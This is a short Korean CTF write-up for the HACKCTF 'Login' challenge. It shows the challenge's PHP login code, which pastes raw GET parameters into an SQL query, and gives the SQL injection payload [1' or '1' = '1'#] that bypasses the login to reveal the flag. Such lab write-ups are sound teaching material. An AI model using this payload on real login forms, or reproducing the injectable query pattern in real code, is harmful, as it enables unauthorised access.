CTF's Write-up
HACKCTF - Login
m0nd2y
2020. 7. 20. 07:38
링크를 들어가면 아래와 같다
View Source 를 확인하면
위와 같다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
highlight_FILE(__FILE__);
require_once("dbcon.php");
$id = $_GET['id'];
$pw = $_GET['pw'];
$pw = hash('sha256',$pw);
$sql = "select * from jhyeonuser where binary id='$id' and pw='$pw'";
$result = mysqli_fetch_array(mysqli_query($db,$sql));
if($result['id']){
$_SESSION['id'] = $result['id'];
mysqli_close($db);
header("Location:welcome.php");
}
?>
|
cs |
5,6 번째줄에서 id와 pw를 입력받고,
12번째에서 id가 참인지를 검사하는 구문이 있다.
즉 9번줄에서 sql쿼리가 존재하고 이를 sqli가 가능할 것으로 예상된다.
[1' or '1' = '1'#]

위와 같이 입력을 해주면 flag를 얻을 수 있다.

(grin)